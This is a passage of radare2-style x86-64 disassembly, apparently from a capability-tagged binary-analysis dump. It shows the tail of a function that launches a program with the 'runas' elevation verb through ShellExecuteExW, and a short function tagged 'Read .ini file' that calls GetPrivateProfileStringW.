mov qword [rsp + 0x70], r11
lea rax, str.runas
test ebx, ebx
cmove rax, qword [rsp + 0x60]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov ebx, eax
lea rcx, [rsp + 0x20]
call fcn.140004268
nop
lea rcx, [rsp + 0x28]
call fcn.140004268
nop
mov rcx, rdi
call fcn.140004268
nop
mov rcx, rsi
call fcn.140004268
mov eax, ebx
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.140021e20
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140015160
Capabilities:
Read .ini file

Disassembly:
sub rsp, 0x38
mov rax, qword [rsp + 0x60]
lea r8, [0x14006d330]
mov r10, r9
test rax, rax
cmovne r8, rax
mov qword [rsp + 0x28], r8
mov r8, r9
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
add rsp, 0x38
ret